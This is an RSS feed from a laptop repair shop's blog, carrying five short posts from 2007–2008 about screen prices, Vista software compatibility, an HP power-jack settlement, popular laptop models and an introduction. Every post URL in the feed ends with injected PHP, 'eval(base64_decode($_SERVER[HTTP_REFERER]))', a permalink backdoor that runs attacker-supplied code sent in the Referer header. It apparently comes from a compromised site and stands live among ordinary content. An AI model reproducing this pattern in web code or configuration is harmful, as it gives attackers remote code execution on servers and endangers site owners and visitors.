<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Laptops Restored Blog &#187; Business Issues</title>
	<atom:link href="http://blog.laptopsrestored.com/category/business-issues/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.laptopsrestored.com</link>
	<description>Laptop computer care and maintenance blog</description>
	<lastBuildDate>Mon, 15 Dec 2008 19:47:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Laptop Screen Price Fixing</title>
		<link>http://blog.laptopsrestored.com/2008/12/04/laptop-screen-price-fixing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.laptopsrestored.com/2008/12/04/laptop-screen-price-fixing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 19:39:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business Issues]]></category>

		<guid isPermaLink="false">http://blog.laptopsrestored.com/2008/12/04/laptop-screen-price-fixing/</guid>
		<description><![CDATA[Recently, 3 top laptop screen manufactures have plead guilty to price fixing and have agreed to pay fines. Shortly after, we noticed a drop in the price of replacement laptop screens. We have lowered our prices accordingly, and now it is possible to replace a laptop screen for less than $200. This new pricing makes [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, 3 top laptop screen manufactures have <a href="http://ap.google.com/article/ALeqM5iBHgLLGtYy35WBv054ztxo7VmWAAD94DJB9O2" target="_blank">plead guilty to price fixing</a> and have agreed to pay fines. Shortly after, we noticed a drop in the price of replacement laptop screens. We have lowered our prices accordingly, and now it is possible to replace a laptop screen for less than $200. This new pricing makes it economical to replace the screen for an older laptop instead of buying a new one.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laptopsrestored.com/2008/12/04/laptop-screen-price-fixing/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Consider the Cost of Ugrading Software when Deciding on Laptop Repair</title>
		<link>http://blog.laptopsrestored.com/2008/05/05/consider-the-cost-of-ugrading-software-when-deciding-on-laptop-repair/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.laptopsrestored.com/2008/05/05/consider-the-cost-of-ugrading-software-when-deciding-on-laptop-repair/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 05 May 2008 19:03:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business Issues]]></category>

		<guid isPermaLink="false">http://blog.laptopsrestored.com/2008/05/05/consider-the-cost-of-ugrading-software-when-deciding-on-laptop-repair/</guid>
		<description><![CDATA[The cost of laptop repair is often weighed against the purchase of a new laptop. With most new laptops having the Windows Vista operating system, the cost of upgrading installed software also needs to be considered. Many specialized software packages that were written for Windows XP will not work properly or at all on a [...]]]></description>
			<content:encoded><![CDATA[<p>The cost of laptop repair is often weighed against the purchase of a new laptop. With most new laptops having the Windows Vista operating system, the cost of upgrading installed software also needs to be considered. Many specialized software packages that were written for Windows XP will not work properly or at all on a Windows Vista computer. So when deiciding on whether to repair an existing laptop, investigate the compatibility of installed software with Windows Vista.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laptopsrestored.com/2008/05/05/consider-the-cost-of-ugrading-software-when-deciding-on-laptop-repair/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HP/Compaq Power Jack Class Action Lawsuit</title>
		<link>http://blog.laptopsrestored.com/2007/12/04/hpcompaq-power-jack-class-action-lawsuit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.laptopsrestored.com/2007/12/04/hpcompaq-power-jack-class-action-lawsuit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 Dec 2007 05:48:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business Issues]]></category>

		<guid isPermaLink="false">http://blog.laptopsrestored.com/2007/12/04/hpcompaq-power-jack-class-action-lawsuit/</guid>
		<description><![CDATA[This website details the proposed class-action settlement regarding power jack failures with HP and Compaq laptop computers:
&#8220;If you purchased an HP zd7000, HP  												Compaq nx9500, HP zx5000, zv5000, R3000 or HP Compaq nx9100 series notebook,  												this is to inform you of a proposed class action settlement that could affect  												your legal rights. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hpnotebooksettlement.com/" target="_blank">This website</a> details the proposed class-action settlement regarding power jack failures with HP and Compaq laptop computers:</p>
<p><em>&#8220;If you purchased an HP zd7000, HP  												Compaq nx9500, HP zx5000, zv5000, R3000 or HP Compaq nx9100 series notebook,  												this is to inform you of a proposed class action settlement that could affect  												your legal rights. Under the terms of the Settlement, eligible class members in  												the United States will be entitled to a repair, a reimbursement or a discount  												certificate.  												&#8220;</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laptopsrestored.com/2007/12/04/hpcompaq-power-jack-class-action-lawsuit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>October 2007 Most Popular Laptops</title>
		<link>http://blog.laptopsrestored.com/2007/10/31/october-2007-most-popular-laptops/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.laptopsrestored.com/2007/10/31/october-2007-most-popular-laptops/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 31 Oct 2007 15:58:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business Issues]]></category>

		<guid isPermaLink="false">http://blog.laptopsrestored.com/?p=5</guid>
		<description><![CDATA[Here&#8217;s a list of Notebook Review&#8217;s most popular laptop/notebook computers as of Oct. 2007. From a laptop repair standpoint, these are more desirable due to better availability of replacement parts.

Dell Vostro 1500 (Core 2 Duo processor, 15.4&#8243; screen, released 2007)
 4.9% / 5730
Lenovo ThinkPad T61 (Core 2 Duo processor, 14.1 or  15&#8243; screen, released [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a list of <a href="http://www.notebookreview.com/best_laptops/default.asp?display=mostpopular" target="_blank">Notebook Review&#8217;s</a> most popular laptop/notebook computers as of Oct. 2007. From a laptop repair standpoint, these are more desirable due to better availability of replacement parts.</p>
<ol>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=1043&amp;display=priceDetail&amp;ref=list">Dell Vostro 1500</a> (Core 2 Duo processor, 15.4&#8243; screen, released 2007)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="200" /> <span class="color1">4.9%</span> / <span class="color2">5730</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=960&amp;display=priceDetail&amp;ref=list">Lenovo ThinkPad T61</a> (Core 2 Duo processor, 14.1 or  15&#8243; screen, released 2007)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="148" /> <span class="color1">3.6%</span> / <span class="color2">4262</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=715&amp;display=priceDetail&amp;ref=list">Sony VAIO SZ</a> (Core Duo or  Core 2 Duo processor, 13.3&#8243; screen, released 2006)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="94" /> <span class="color1">2.3%</span> / <span class="color2">2710</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=1007&amp;display=priceDetail&amp;ref=list">Dell XPS M1330</a> (Core 2 Duo processor, 13.3&#8243; screen, released 2007)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="75" /> <span class="color1">1.8%</span> / <span class="color2">2169</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=972&amp;display=priceDetail&amp;ref=list">Toshiba Satellite A200 / A205</a> (Core 2 Duo processor, 15.4&#8243; screen, released 2007)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="66" /> <span class="color1">1.6%</span> / <span class="color2">1902</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=990&amp;display=priceDetail&amp;ref=list">HP Pavilion dv6500t</a> (Core 2 Duo processor, 15.4&#8243; screen, released 2007)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="60" /> <span class="color1">1.5%</span> / <span class="color2">1734</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=980&amp;display=priceDetail&amp;ref=list">Sony VAIO FZ</a> (Core 2 Duo processor, 15.4&#8243; screen, released 2007)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="59" /> <span class="color1">1.4%</span> / <span class="color2">1700</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=740&amp;display=priceDetail&amp;ref=list">Dell Inspiron 6400</a> (Core Duo or  Core 2 Duo processor, 15.4&#8243; screen, released 2006)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="59" /> <span class="color1">1.4%</span> / <span class="color2">1697</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=855&amp;display=priceDetail&amp;ref=list">HP Pavilion dv6000z</a> (AMD Turion X2 processor, 15.4&#8243; screen, released 2006)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="58" /> <span class="color1">1.4%</span> / <span class="color2">1689</span></li>
<li><a href="http://www.notebookreview.com/price/default.asp?productFamilyID=720&amp;display=priceDetail&amp;ref=list">Lenovo ThinkPad T60</a> (Core Duo processor, 14.1 or 15.4&#8243; screen, released 2006)<br />
<img src="http://www.notebookreview.com/images/colBar.gif" height="8" width="55" /> <span class="color1">1.4%</span> / <span class="color2">1601</span></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://blog.laptopsrestored.com/2007/10/31/october-2007-most-popular-laptops/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Laptops Restored Blog</title>
		<link>http://blog.laptopsrestored.com/2007/10/31/laptops-restored-blog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://blog.laptopsrestored.com/2007/10/31/laptops-restored-blog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 31 Oct 2007 15:42:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Breakdown Prevention]]></category>
		<category><![CDATA[Business Issues]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Laptop Maintenance]]></category>
		<category><![CDATA[Physical Security]]></category>
		<category><![CDATA[Virtual Security]]></category>

		<guid isPermaLink="false">http://blog.laptopsrestored.com/?p=3</guid>
		<description><![CDATA[I&#8217;m the owner of a laptop computer repair business in Tucson, and since I see recurring problems with laptops day in and day out, I have decided to share my insights with the community at large on how to keep your laptop properly maintained and from having to visit our facility or someone else&#8217;s. I [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m the owner of a <a href="http://www.laptopsrestored.com" target="_blank">laptop computer repair business in Tucson</a>, and since I see recurring problems with laptops day in and day out, I have decided to share my insights with the community at large on how to keep your laptop properly maintained and from having to visit our facility or someone else&#8217;s. I will also include content on virtual and physical security and any products that have caught my eye. Please feel free to comment and share your knowledge also.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laptopsrestored.com/2007/10/31/laptops-restored-blog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

